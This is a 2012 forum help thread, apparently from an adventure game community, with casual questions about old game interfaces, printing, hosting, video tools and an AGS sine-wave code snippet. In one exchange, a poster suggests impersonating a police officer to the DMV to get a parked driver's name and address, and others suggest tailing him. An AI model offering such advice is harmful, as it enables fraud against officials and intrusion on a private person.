What was about the first adventure game using the simplified GUI?

As in (among other things):
* only having the Left and Right click being Action and Look.
* no swiching between mousemodes by the gameplayer.
* no icons on-screen (like sierra/lucasarts icons) / no verbcoin
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 03/04/2012 12:49:20
+1
Title: Re: Ask something - We can help.
Post by: nihilyst on Tue 03/04/2012 13:01:39
Quote from: »Arj0n« on Tue 03/04/2012 11:41:45
What was about the first adventure game using the simplified GUI?

As in (among other things):
* only having the Left and Right click being Action and Look.
* no swiching between mousemodes by the gameplayer.
* no icons on-screen (like sierra/lucasarts icons) / no verbcoin

I think Beneath A Steel Sky (1994) had it. But maybe there was one before it.
Title: Re: Ask something - We can help.
Post by: Andail on Tue 03/04/2012 13:19:51
I'd ALSO say that BASS must be one of the FIRST using that kind of GUI, if not the VERY first.
Title: Re: Ask something - We can help.
Post by: on Wed 04/04/2012 02:36:10
Jesus H Christ. I'm trying to explain to a printing company that I want them to print a booklet/manual to include in a DVD game box.

They've told me that this size is "DS" - is that correct?

Also, how the hell do I explain how many pages I want. For example, if you were to take ONE sheet from a manual, extract it and look at it - that ONE sheet would be 4 pages of the manual. So 3 pieces of paper would be 12 pages, am I right? I don't know. The professional printer doesn't understand what I'm asking for.

If someone can tell me how to explain what I want to the printer I would be grateful.
Title: Re: Ask something - We can help.
Post by: Kweepa on Wed 04/04/2012 23:13:54
If the printer can't help you, go to another printer that is going to at least try. If he's not going to try to help, he's not going to make sure there are no mistakes and he's probably going to screw you on the deal.
I've never heard of DS paper size, and a quick search of wikipedia doesn't turn up anything. I suspect it just means double sided.

Look here though:
http://www.pacificdisc.com/PrepDVDArt.html
Quote
This is a folded piece of paper that is 9 7/8" wide by 7 5/16" tall. The fold is at 4 15/16". To support full-bleed, the final size should be 10 1/8" wide by 7 9/16" tall (1/8" around each side will be removed.)
Title: Re: Ask something - We can help.
Post by: on Wed 04/04/2012 23:19:17
Thanks Steve, luckily they understood today and I got my answer! Thanks for explaining, crisis averted :)
Title: Re: Ask something - We can help.
Post by: Anian on Wed 04/04/2012 23:35:20
Yeah, not that I am that knowledgeable (even though I finished a school for printing technologies), but I never heard of DS and, as Kweepa mentioned, google doesn't turn up anything either.

Thing is, if you have a pdf file for example (it is usually good to see what kind of files and settings they work best with and prepare the documents before sending), you should be able to send them that. Pdf has number and sizes of pages in it and it's their problem how they're going to print it, because it basically depends on what kind of a machine they have for printing (what size of paper it uses). They then make their own estimates and calculations of materials they're gonna use and how the whole thing is going to be bended and cut, and usually that's where the price comes from, although they might have some preset sizes.

You just need to tell them what kind of binding you want, presumably, since it's for a disk booklet, staples are usually chosen. If it's paperback type of book then it's glued and stitched if it's hardcover.
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 05/04/2012 15:36:30
Is it possible to search for the owner of a car using their number plate (license plate, to our American cousins) or is that just a priviledge cops have?

There's a guy who has been stopping outside my front door, two or three times a day, every day, including Sundays, for the past 12 or so days.  He just parks up, and sits there with his door open and smoking a cigarette whilst listening to the radio.  Not ever-so-weird in itself.  But he just coughs and splutters and spits chunks of phlegm all over the pavement outside my door, and whenever I look out the window he seems to be staring at my front door.

I'm sure he's just on a fag-break, but why does he feel the need to spend his fag breaks HERE, of all the miles of parking spaces in the area, why MY front door?  It was funny at first, but now it's kind of creepy.

I could, you know, just ask him, but I'm one to avoid awkward conversations if possible, so I'm setting about doing some detective work.  Starting with his number plate.  I now know the exact make and model of his van and where it was produced, but that's it.

Do you have to be a copper to 'run a check' on a number plate?  It's not fair. If this was a movie, I'd know his name, address, and whether or not he has any previous convictions by now... I knew I should have been a copper :-(
Title: Re: Ask something - We can help.
Post by: on Thu 05/04/2012 15:42:28
You could get basic info about the history of the car using that "reg checker" app or text number (for about £4 a pop!) but no you will not be able to get a name/address without speaking to the police. More trouble than it's worth. Just put a couple of cones or a skip out there. It's legal and maybe he'll get the message and budge.

PS IF you really want to know "why", don't be a wuss and just go ask the guy :P
Title: Re: Ask something - We can help.
Post by: Khris on Thu 05/04/2012 15:43:41
If you're bold, just call the DMV and pretend you're a cop. Just give them some random name and badge number; chances are they won't check it.
The other thing is, what are you going to do after you find out his name and address? I get why you're curious, but knowing his name isn't going to help you that much I guess.
Title: Re: Ask something - We can help.
Post by: Anian on Thu 05/04/2012 15:45:29
I don't know if it would cause trouble if you come out and shot a photo of him and the car. The guy seems weird as is, so I don't know nay normal conversation would be an option. I don't even think he's trying to rob your place...or he's just a bad burglar.
Maybe a neighborhood watch report or find a local police patrol and ask for advice. They can check I think pretty quickly if you ask them nicely.

Quote from: Khris on Thu 05/04/2012 15:43:41
If you're bold, just call the DMV and pretend you're a cop. Just give them some random name and badge number; chances are they won't check it.
The other thing is, what are you going to do after you find out his name and address? I get why you're curious, but knowing his name isn't going to help you that much I guess.
Indeed, knowing the name won't help out much, but if you pretended to be a cop (which I'm kind of sure is a crime) to the DMV, then there's no stopping you from coming to the driver and talking about "an investigation"...again, you might get hurt doing that.
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 05/04/2012 16:02:28
Yeah, I was just thinking if I could get a name, it might be registered to the company he works for or something (It's brand spanking new, less than 4 months old).  I'm sure he just works around the corner and his boss doesn't like smoking or something legit like that.  It's just weird, and the more he comes, the more I wanna find out... Maybe I could get a DNA sample from his saliva on the floor outside my door, haha.
Title: Re: Ask something - We can help.
Post by: on Thu 05/04/2012 16:05:48
Quote from: Khris on Thu 05/04/2012 15:43:41
If you're bold, just call the DMV and pretend you're a cop. Just give them some random name and badge number; chances are they won't check it.
The other thing is, what are you going to do after you find out his name and address? I get why you're curious, but knowing his name isn't going to help you that much I guess.

I know a dude who knows a dude who passed some time in prison because he pretended he was a lawyer. Don't risk it, Stu ;)
m0ds advice seems pretty sensible, try it (and let us know!)
Title: Re: Ask something - We can help.
Post by: Khris on Thu 05/04/2012 16:42:46
The other solution is to get a hazmat suit and a fake Geiger counter and scare the crap out of him :)
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 05/04/2012 16:50:28
Quote from: Khris on Thu 05/04/2012 16:42:46
The other solution is to get a hazmat suit and a fake Geiger counter and scare the crap out of him :)

I do have a Scream Ghostface mask... hmmmmm
Title: Re: Ask something - We can help.
Post by: Atelier on Thu 05/04/2012 17:28:20
How long do the fag breaks last, and does he turn back the way he came after he's done? If so, you should totally tail him. If the streets aren't busy you can get a couple of mates to act as buffers; they turn off somewhere along the line, so he may only notice you after you've been following him for a while.

Another idea is to use his smoking to your advantage. Get a friend who smokes, get him to wait round the corner, then when the guy turns up again in his van, your friend can come round after you alert him, and ask for a light. Completely innocent icebreaker, then your friend can ask his questions making polite conversation. What work he does leading to where he works.
Title: Re: Ask something - We can help.
Post by: Victor6 on Thu 05/04/2012 17:56:15
Either that, or walk up and ask for a cigarette, repeat every day, even if he says no (snout-scroungers are persistant). Give it 2 weeks, he'll get pissed about being tapped for smokes everyday and leave.

Title: Re: Ask something - We can help.
Post by: Stupot on Fri 06/04/2012 11:00:51
He's usually there for 3-4 mins, but has been known to sit for a good hour or so. I don't have a car these days, otherwise i'd def be tempted to tail him.

I'm going home to my mums for the next few days so will have to continue my investigations after easter.  If i get back and the house has been broken into, at least ive got a lead, haha. XD
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 16/04/2012 08:28:14
Quote from: WHAM on Fri 30/09/2011 11:57:03
Thanks Snarky!  ;D This pleases me, I just hope Cinebook will get more ASAP!

Just an update that Cinebook has now released (http://www.cinebook.co.uk/product_info.php?products_id=4067&osCsid=e9e3c030791dfb3d4dc7d568bc41c1e8) Running Scared, which is one of the better Tome & Janry albums:

(http://i.imgur.com/O59ba.jpg)

Hopefully part 2 of the story in Valley of the Exiles won't be too long. They've also announced Spirou in Moscow, and I'm crossing my fingers that they'll continue on to my favorite T&J album, the boringly titled Vito la déveine ("Vito the Unlucky"). I actually wrote them an email suggesting they rename it Spirou & Fantasio Sleep with the Fishes, which fits the mafia motif, the diving, and Spirou's "sleeping sickness," and for which the cover fits perfectly:

(http://i.imgur.com/iR1P9.jpg)

Anyway, the rate of release suggests Spirou isn't a big seller for Cinebook, so if you have any interest in the series and want to see more of it in English, please order!
Title: Re: Ask something - We can help.
Post by: on Wed 18/04/2012 23:07:19
/me smashes keyboard and swears a lot

Can someone please help me find a link to download MSN messenger that does not download it from the microsoft website?? Please. Or suggest one that I can use that will allow me to login with these details.

I'm on a new PC and yet a-f*****g-gain any attempt to visit a Microsoft webpage tells me

Quote
Server not found
     

       
          Firefox can't find the server at windows.microsoft.com.

  Check the address for typing errors such as
    ww.example.com instead of
    www.example.com
  If you are unable to load any pages, check your computer's network
    connection.
  If your computer or network is protected by a firewall or proxy, make sure
    that Firefox is permitted to access the Web.

WHY WHY WHY this has been happening to me for YEARS on any machine I try and use.

Any help appreciated.
Title: Re: Ask something - We can help.
Post by: Hudders on Wed 18/04/2012 23:11:52
I use pidgin, (http://www.pidgin.im/) and I've also used Digsby before, (http://www.digsby.com). Both are very good and allow you to sign in with MSN credentials.
Title: Re: Ask something - We can help.
Post by: on Wed 18/04/2012 23:13:30
Thank yous!
Title: Re: Ask something - We can help.
Post by: Eric on Wed 18/04/2012 23:23:33
Quote from: Hudders on Wed 18/04/2012 23:11:52
I use pidgin, (http://www.pidgin.im/) and I've also used Digsby before, (http://www.digsby.com). Both are very good and allow you to sign in with MSN credentials.

I use Pidgin as well, and I find it's worked better for me than Digsby.
Title: Re: Ask something - We can help.
Post by: Hudders on Wed 18/04/2012 23:25:55
Quote from: Eric on Wed 18/04/2012 23:23:33
Quote from: Hudders on Wed 18/04/2012 23:11:52
I use pidgin, (http://www.pidgin.im/) and I've also used Digsby before, (http://www.digsby.com). Both are very good and allow you to sign in with MSN credentials.

I use Pidgin as well, and I find it's worked better for me than Digsby.

Yeah... I don't know. Digsby is nice but I had to move away from it when I started using Linux more. There are some things in Digsby I wish Pidgin did but for basic operations, they're pretty much the same.

I'm also enough of a nerd to have used Finch on occasion.
Title: Re: Ask something - We can help.
Post by: selmiak on Fri 20/04/2012 02:15:34
I use pidgin too and it works good. Only filetransfer via MSN is not working. At all. So to ask a question in this thread: anyone got sending files via MSN via pidgin working? How?
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sat 21/04/2012 02:04:12
Edited: Problem has been solved. Solution below.

Has anyone experienced this issue with Twitter on Firefox?

(http://www.bryvis.com/entertainment/other/agsf/twitter_issue_on_firefox.png)

It started several months ago and it's the only site that has this problem. I got tired of trying to figure it out months ago that I ended up downloading Chrome. I decided to move back to Firefox because I still enjoy it better.

The only time it doesn't do this is when I restart Firefox with all Add Ons Disabled. I've gone through and disabled every single add on manually, but it still only only works properly when it's in safe mode. I've reinstalled it twice. I've deleted everything that I had with it. Cookies, Cache, Bookmarks. Everything.

What the hell is wrong with it? I've done a virus scan with Avast! but it hasn't found anything. It's seriously getting me very angry. I want to reinstall windows, if it wasn't such a pain in the ass. Argh.


Edit: I actually thought about looking for the Firefox forum and signed up for an account. Looks like someone else has the same problem. I'm going to read the solutions offered to him and see if it'll help.

Edit2: Damn that's priceless. I discovered the issue is hardware related using their advice. I turned off: Use hardware acceleration when available.
Twitter works like a charm.  Sorry guys!
Title: Re: Ask something - We can help.
Post by: on Sun 29/04/2012 21:59:01
I am trying to recall the title of a sci-fi short story. I know that:

- the author is probably Philip K. Dick.
- the plot involves an old man taking a test; this is taken at regular intervals by the elderly and assesses whether they are still useful to society or a burden. In the letter case, they are 'terminated'

edit: found, Richard Matheson
Title: Re: Ask something - We can help.
Post by: Tuomas on Fri 04/05/2012 18:48:38
Hey guys.

Any idea how to get an internet radio lag like 2-3 seconds?

I'm trying to watch a video (sports) http://www.youtube.com/watch?v=tfbL-epgjmU but the narrator is awful. So there's a free radio stream too, but it's 2-3 seconds ahead. Soo... if you know. Is this kind of thing even possible?

-Tuomas--
Title: Re: Ask something - We can help.
Post by: selmiak on Fri 04/05/2012 22:39:58
VLC player lets you set the audio stream delay of movie files, perhaps it's possible for streams too?!
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 05/05/2012 05:47:48
E: nvm
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 05/05/2012 22:20:33
What was happening at 02:01 on 15 Jan 2012 for there to have been 559 members online?
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Sat 05/05/2012 22:33:56
Quote from: Stupot+ on Sat 05/05/2012 22:20:33
What was happening at 02:01 on 15 Jan 2012 for there to have been 559 members online?
(not only members, also guests)
Could it be related to the Bake Sale? This post (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=44670.msg605157#msg605157) is actually a bit too late to be the cause, but maybe the word was spread somewhere a day before?
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 05/05/2012 22:38:34
Oh of course. D'oh!  Makes perfect sense. Cheers TITH.
Title: Re: Ask something - We can help.
Post by: Grim on Sun 06/05/2012 07:48:42
Hey guys, an idea hit me last night- what about a digital platform for horror games only, like a specialized shop for all (indie mostly)games horror-related?... A quick google search shows there is no such thing yet. Do you think it would take off, or would it be a massive flop?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 06/05/2012 09:19:19
Too specialised I would say.

Theres no advantage to having a horror-only digital platform when a general one would work just as well.

Digital platforms have no limits so they dont have the same pulls at specialised shops which can only carry so much stock.
Title: Re: Ask something - We can help.
Post by: cat on Sun 06/05/2012 09:27:09
It might work if you also offer books, DVDs and stuff. Games alone will not be enough.
Title: Re: Ask something - We can help.
Post by: Anian on Mon 07/05/2012 10:23:26
I'm looking for free web hosting for a wordpress (it says PHP 5.2.4 or greater and MySQL 5.0 or greater are conditions). I'd basically need it for portfolio and for a good amount of experimenting for modifying themes (most are offering about 5gb of traffic, I'm assuming that's ok, especially if most of the traffic only I am doing by checking the site every half an hour (or minutes) to see if the stuff like style.css is working ok.

http://freehosting1.net/ has good list but I'm not sure how old is that site I'd like to ask from recent experience.

Sites like
http://www.ifastnet.com/
http://www.000webhost.com
awardspace etc.
I'm looking here and not google, because I'd like some personal opinions on traffic space.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Mon 07/05/2012 20:30:06
Is there a website or an app that alerts you of specials or price drops on the Android marketplace?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Tue 08/05/2012 05:33:35
Anian: http://www.agser.me/

run by Peder.
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 08/05/2012 20:25:36
000webhost is not bad but one day we had an ad appearing out of nowhere on every page. It only advertised payed hosting with the 000webhost service but was annoying nonntheless. After ~2weeks it disappeared. I recommend bplaced.net though. The only 'disadvantage' is that you have to log into your command panel every 2 month, but this should be doable. ~99% uptimes, 2GB storage, unlimited traffic, 2 FTP accounts, lots of MySQL databases, up to date php, adfree, what do you want more?!
Title: Re: Ask something - We can help.
Post by: Anian on Wed 09/05/2012 09:28:50
Quote from: Calin Leafshade on Tue 08/05/2012 05:33:35
Anian: http://www.agser.me/

run by Peder.
Ahh, nice. I'll check it out.

Quote from: selmiak on Tue 08/05/2012 20:25:36
000webhost is not bad but one day we had an ad appearing out of nowhere on every page. It only advertised payed hosting with the 000webhost service but was annoying nonntheless. After ~2weeks it disappeared. I recommend bplaced.net though. The only 'disadvantage' is that you have to log into your command panel every 2 month, but this should be doable. ~99% uptimes, 2GB storage, unlimited traffic, 2 FTP accounts, lots of MySQL databases, up to date php, adfree, what do you want more?!
Theoretically, a domain name.  :grin:  Just kidding. This sounds pretty good and the log in every 2 months is not really a disadvantage.

Thank you, both.
Title: Re: Ask something - We can help.
Post by: selmiak on Wed 09/05/2012 20:03:53
.tk domains are for free. But I don't know if they show advertsing. Iirc there is a small adbar on your site then.
Or if it is okay, you can get a 3rd level domain like yourname.eu.tp for free. Or go with yourname.agser.me.
Title: Re: Ask something - We can help.
Post by: Anian on Wed 09/05/2012 21:00:24
Quote from: selmiak on Wed 09/05/2012 20:03:53
.tk domains are for free. But I don't know if they show advertsing. Iirc there is a small adbar on your site then.
Or if it is okay, you can get a 3rd level domain like yourname.eu.tp for free. Or go with yourname.agser.me.
I was just kidding, besides I tried setting up wordpress on bplaced and the site has "name.bplaced.net" type of address, that's fine enough for now.  :smiley:
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 26/05/2012 13:41:32
I was thinking how to tell exact time within 10 minute accuracy if I'm in the middle of nowhere and have a some sort of clock, but have no idea which way is which (no compass).
What I came up with is this:

Suppose it's a sunny day
I stick a pole into ground.
Use something - cord or sticks to measure shadow of the pole
Set clock to 12:00
After every 10 minutes I repeat measurement (12:10 on my clock) and if shadow is shorter than previous measurement, set clock to 12 again
The moment I don't have to reset, It's noon + around 10 minutes

Is it logical? Daylight saving can offset this by hour but generally, it should work?
Title: Re: Ask something - We can help.
Post by: arj0n on Sat 26/05/2012 17:18:54
Or use the moon.
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 26/05/2012 17:50:39
Don't I need to know hemisphere I'm on and the directions of east and west to read the moon?
Title: Re: Ask something - We can help.
Post by: FrankT on Sat 26/05/2012 21:59:52
Dangit... I just want to make an adventure game - but all the ones I've started have fallen through one way or another. Partly because I'm no good at writing stories or scripting, but mainly because before I've even gotten into it, some other great idea comes along and I end up abandoning the older one. I'm in development limbo! Now I've got a vague blur of an idea in my head right now, but I need to make it solid with a story. And a game structure. Any advice?!!
Title: Re: Ask something - We can help.
Post by: Buckethead on Sun 27/05/2012 17:39:33
Work out the story from beginning to end. Write down the what puzzles you need to solve and which characters will be needed. Also work out the background of your characters. In short, write down as much information about your game as possible. If you get stuck, ask for help on the forums. People are always very helpfull around here.

After a while you'll have enough iformation about your idea that you can put together a list of things that need to be done for the game. Make this list as complete as you possibly can. When you work on the game you can now check off things you have completed. This way you get a clear view what still needs to be done. Also order things according to priority of you can.

Also simplify your idea to something you are more likely to complete.
Title: Re: Ask something - We can help.
Post by: FrankT on Sun 27/05/2012 18:14:22
Thanks for the advice! Come to think of it, I might need a proofreader for this. Anyone willing to proofread?
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 29/05/2012 02:13:01
Quote from: FrankT on Sun 27/05/2012 18:14:22
Thanks for the advice! Come to think of it, I might need a proofreader for this. Anyone willing to proofread?
I'll give it go :-)
Title: Re: Ask something - We can help.
Post by: Atelier on Thu 31/05/2012 21:55:08
I'm trying to remember which film this is... it's about some super-soldiers who were genetically engineered and then cryogenically frozen to keep them dormant, until they needed to be used to fight some Russian/Ukranian terrorist who had taken over a nuclear power station, who had this uber-supreme-super-soldier who single-handedly took down the super-soldier army. I also remember one of the super-soldiers was being reprogrammed into civilian life but he went into a frenzy in a café. Also it starts with the kidnapping of some diplomat's daughter by men in balaclavas. It's a pretty lame film but does anybody know it?
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 31/05/2012 22:23:28
Universal Soldier Regeneration (http://en.wikipedia.org/wiki/Universal_Soldier:_Regeneration)
QuoteA group of terrorists led by Commander Topov (Zahary Baharov) kidnap the Russian prime minister's son and daughter and hold them hostage, demanding the release of their comrades within 72 hours. In addition, they have taken over the crippled Chernobyl Nuclear Power Plant and threaten to detonate it if their demands are not met.
Title: Re: Ask something - We can help.
Post by: Atelier on Thu 31/05/2012 22:26:59
That's the one thanks :)
Title: Re: Ask something - We can help.
Post by: Oliwerko on Sat 02/06/2012 22:52:00
Hi!

My friend found a phone last week and gave it to me today, because he couldn't get it to work. He had already reverted to factory settings. Apparently it's a HTC EVO 3D. And I can see how he couldn't get it to work. There is no slot for a SIM card, and I gather that that's typical for the US version. I live in Slovakia, so this is pretty new to me.

Is there any way to get this kind of thing to work in Europe?
Title: Re: Ask something - We can help.
Post by: Anian on Sat 02/06/2012 23:56:11
Quote from: Oliwerko on Sat 02/06/2012 22:52:00
Hi!

My friend found a phone last week and gave it to me today, because he couldn't get it to work. He had already reverted to factory settings. Apparently it's a HTC EVO 3D. And I can see how he couldn't get it to work. There is no slot for a SIM card, and I gather that that's typical for the US version. I live in Slovakia, so this is pretty new to me.

Is there any way to get this kind of thing to work in Europe?
Like this http://www.htc.com/help/au/howto_iframe.aspx?id=88649ype=1&p_id=398 ?

Apparently the US version doesn't use a SIM card...because, you know, Americans :P The European version should have it, but the US one doesn't, it's the CDMA and GSM versions differnces.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Sun 03/06/2012 00:04:37
Yeah, I read now that there are US and EU versions. The US indeed cannot function in our gsm environment.

So the only thing left to do is to sell it. :/ Anybody interested?
Title: Re: Ask something - We can help.
Post by: Mati256 on Sun 03/06/2012 02:43:32
A while ago somebody posted a website where you could choose a color and the site would show you some colors that combined with it.
Do you know which site I'm talking about?
Thank you.
Title: Re: Ask something - We can help.
Post by: kconan on Mon 04/06/2012 08:18:08
  Does anyone know of a company that makes custom PC game boxes?
Title: Re: Ask something - We can help.
Post by: on Mon 11/06/2012 07:32:55
If anyone web wise with html knowledge is able to help me get a "contact form" working (ie a text box and submit button) please get in touch! I haven't been able to get it to work - can't quite get my head around it. Thanks!
Title: Re: Ask something - We can help.
Post by: Anian on Mon 11/06/2012 09:16:53
Quote from: Mati256 on Sun 03/06/2012 02:43:32
A while ago somebody posted a website where you could choose a color and the site would show you some colors that combined with it.
Do you know which site I'm talking about?
Thank you.
I don't know what it is, but recently I found this page COLORlovers (http://www.colourlovers.com) they have some interesting stuff under the Tools section as well.


Quote from: m0ds on Mon 11/06/2012 07:32:55
If anyone web wise with html knowledge is able to help me get a "contact form" working (ie a text box and submit button) please get in touch! I haven't been able to get it to work - can't quite get my head around it. Thanks!
Did you try something like this?
http://www.freecontactform.com/html_form.php
Just put the first part into your html page, modify the stuff you need, mainly the width and other design choices.
The other part you just need to save as a php page, also basically copy paste and of course change the mail address (it's noted where you change it in the code).
I mainly use wordpress forms, but I can try this out on my server if you want. This is probably a good solution, though if you start getting spam a captcha should be put in as well, but cross that bridge if you get there.
EDIT: I've checked it, it works ok, just remember to change the mail address at the beginning of the php part plus this is a very strict form (first and last name have to be without numbers and have to start with a capital letter)
Title: Re: Ask something - We can help.
Post by: on Mon 11/06/2012 09:44:00
Thanks Anian, I'll give that a go a bit later on today!
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Mon 11/06/2012 11:14:25
Quote from: Mati256 on Sun 03/06/2012 02:43:32
A while ago somebody posted a website where you could choose a color and the site would show you some colors that combined with it.
Do you know which site I'm talking about?
Thank you.

For all your colour scheme needs i suggest kuler.adobe.com
Title: Re: Ask something - We can help.
Post by: EchosofNezhyt on Tue 12/06/2012 09:06:08
Nice find calin. Bookmark'd
Title: Re: Ask something - We can help.
Post by: Mati256 on Tue 12/06/2012 23:54:28
Thank you Calin! That's the one!
Title: Re: Ask something - We can help.
Post by: EchosofNezhyt on Wed 13/06/2012 05:48:24
Edit: Whoops didn't see this wasn't in there.

What are some of the gameplay factors that make a adventure game good?
Title: Re: Ask something - We can help.
Post by: Andail on Wed 13/06/2012 10:46:08
Psst, Frito Master:
-->http://www.adventuregamestudio.co.uk/yabb/index.php?board=11.0

Let's keep this at least relatively serious :)
Title: Re: Ask something - We can help.
Post by: Tuomas on Sat 07/07/2012 16:01:49
Hey,

I don't suppose any of you know a good way of finding out (quickly) which of my audio files are corrupt and which ones not? It seems, that when my computer broke down, not only did I lose 30% of my files, but thatthe ones I had backupped seem to be corrupted in one way or another now that I transferred them from my external HD to my new laptop. What happens is that, well, Winamp has a lot of difficulties playing some tracks, all being just plain mp3. The sound it makes is like a cd jumping from one place to another, and playing the same song from random positions. At the same time some songs just don't play.

I'd just like to make some inventory, fixing them is not necessary, although might be nice. After all, I've got everything on CDs, but ripping them on my laptop is such a bore.

Anyway, thanks.
Title: Re: Ask something - We can help.
Post by: EchosofNezhyt on Sat 07/07/2012 16:05:02
You could open them all in vlc player and the ones that don't work hit skip and mark it down.

Other then that if it still plays the sound but its garbled I don't think there would be a program to detect that.
Title: Re: Ask something - We can help.
Post by: BCJames on Thu 12/07/2012 13:14:58
Alright, I'm new. Which may or may not be obvious to forum regulars. So I'm am trying to get a handle on the rules of the board, and I realize I will eventually figure most stuff out by reading and paying attention, but that takes too long. The FAQ's are blank, so is there a place for me to read about the forum's rules regarding avatars and signatures and stuff like that so I have a better understanding before I do something and get blasted for it?

TIA!
Title: Re: Ask something - We can help.
Post by: Tuomas on Thu 12/07/2012 20:58:30
I suppose all you'd need is to go to the profile editor, where it tells you the maximum sizes and such of signatures and/or avatars. Other than that I don't think we can require more than common sense in the "content" of whatever you choose as your signature or avatar. About a special place for those rules, I can't help you, sry.
Title: Re: Ask something - We can help.
Post by: EchosofNezhyt on Thu 12/07/2012 21:59:31
Quote from: BCJames on Thu 12/07/2012 13:14:58
Alright, I'm new. Which may or may not be obvious to forum regulars. So I'm am trying to get a handle on the rules of the board, and I realize I will eventually figure most stuff out by reading and paying attention, but that takes too long. The FAQ's are blank, so is there a place for me to read about the forum's rules regarding avatars and signatures and stuff like that so I have a better understanding before I do something and get blasted for it?

TIA!

Not sure. But size don't matter(TeeHee) because it will auto resize anything to big, Sig wise if your image or text is to big it will crop it.
I'd avoid porn or racist stuff though.
Title: Re: Ask something - We can help.
Post by: InCreator on Fri 13/07/2012 09:19:58
math question time!

How do I make a variable that has oscillating value? I mean, going up and down in some range.
I want to use it to offset sprite on y-axis, making it - say - float like a boat (up and down) in the range of 10 pixels.

I can easily do this the "hard way", but I imagine it can be done with sin function, using only a code line or two.
But three math teachers I had - none of them managed to explain understandably what sinusoid does.

This is where I got, thanks to wikipedia

y += 10*sin(time)
where time is abstract value I increase over CPU cycles. But it doesn't return to starting position and feels like a broken loop :(

Any help with this? If possible, also how to speed up or slow it down?

Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Fri 13/07/2012 09:49:14
I'd be interested to know this too. My familiarity with the sin function ends with what Leafshade taught me one day, where you can do that sort of thing like this:

Code (ags) Select

float yval = 100.0;
int objecty;
float sinner = 1.0;

function repeatedly_execute_always()
{
  yval = Maths.Sin(sinner)+yval;
  objecty = FloatToInt(yval, eRoundNearest);
  object[2].Y = objecty;
  sinner++;
}


But he probably wrote it more elegantly than this. This might be a decent (if somewhat awkward) starting point, though.

Edit: remembered what the hell a sine wave actually looked like and realized I had 5 lines of unneeded code in there :P
Title: Re: Ask something - We can help.
Post by: InCreator on Fri 13/07/2012 10:11:21
I think I got it!
Pseudocode:

y += 10*sin(.2*step);

Where step increases by 30 per second (my frame rate) or 1 per cycle, and 0.2 controls speed.
Loop breaking problem happened because I didn't want to overflow step value and reset it at some point.
But resetting to 0 at some astronomical number such as 2592000 (time until 1 day has passed) basically eliminates broken loop, because nobody plays a game 24 hours straight...
and even if so, a sprite making a tiny jump once a day isn't even noticeable.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Fri 13/07/2012 10:36:23
sine always returns a value between -1 and 1 like this:
Link (https://www.google.co.uk/webhp?sourceid=chrome-instant&ie=UTF-8#hl=en&safe=off&output=search&sclient=psy-ab&q=y%20%3D%20sin(x)&oq=&gs_l=&pbx=1&fp=d55c834638869cc9&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&biw=1920&bih=979)

more generally and in terms of AGS you can get an oscillation like this:

Code (AGS) Select

float step;

function repex()
{
    float osc = A * Maths.Sin(F * step);
    step += 360.0 / IntToFloat(Game.GetGameSpeed());
    if (step > 360.0) step -= 360.0;
}

 

Untested but that should give you an oscillating value with an amp (A) and freq (F)
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 16/07/2012 15:17:58
when pixeling in Photoshop, how do you set the erasor tool to 1px by 1px 100% opaque?
I tried making a custom brush and even that erases only with like 60% opacity :P
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Mon 16/07/2012 15:19:51
Size 1, Mode Pencil (this one is important), Opacity and Flow 100%. This works on any new Photoshop, tested in CS4 and CS5.
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 16/07/2012 15:23:09
how do you set the erasor tool to the pencil brush? How is the pencil brush set called? I only have a square brush set that comes close to the pencil brushes and that also erases with some low opacity left and I have to double click to 100% erase a pixel.

btw, by now I always use the selection tool in a 1x1 px size to erase pixels, I figured there might be a better way.
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Mon 16/07/2012 15:26:19
(http://i.imgur.com/npF3E.png)

If that isn't there, you're probably using an outdated Photoshop version in which case I can't help you because I updated a LONG time ago! :)
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 16/07/2012 16:50:01
wohah, of course it is there, dkh, I love you <3 :D
Title: Re: Ask something - We can help.
Post by: Nikolas on Mon 16/07/2012 18:22:57
So,

I'm trying really hard to stay 100% legal! In all my music software this is possible, since I'm a pro in music.

But for images and video I don't really want to spend the kind of money that Adobe wants me to (bloody expensive stuff, for someone who is not a pro in that industry).

So... thus far, I've found the following solutions:

Instead of _____________ I'm using : ____________

Word: Open Office (did my PhD Thesis there and by all means it worked! ;D)
Photoshop: GIMP
Corel: Inkscape
Paint: Ultimate Paint (found it from here actually! Looong ago and love it! For small stuff it's awesome)
but I'm really having trouble with
Premier (Adobe) and After Effects: ?!??!!??!?!

So what could I use to create videos that is freeware and/or open source? Blender is for 3d, so I'm not interested in that, as far as I know...

Ideas, please?
Title: Re: Ask something - We can help.
Post by: Nikolas on Mon 16/07/2012 19:14:25
Got my reply from facebook, and I'll research and hopefully update. Any comments are still most welcome:

" Kino, Avidemux, Cinelerra or VirtualDub."
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 17/07/2012 12:05:39
avidemux, virtualdub (and vdub mod) and kino are mostly used for cutting video, encoding a video to another codec (e.g. mp4 to avi), editing another audio layer to a video or basic video effects (fade in, blurring out a TV station logo). I prefer avidemux for these tasks, but really advanced video editing with mindblowing effects is more a thing of after effects (or maybe cinelerra, but I haven't tried it... yet).

some more software you'd like to try
lightworks - http://www.lwks.com/
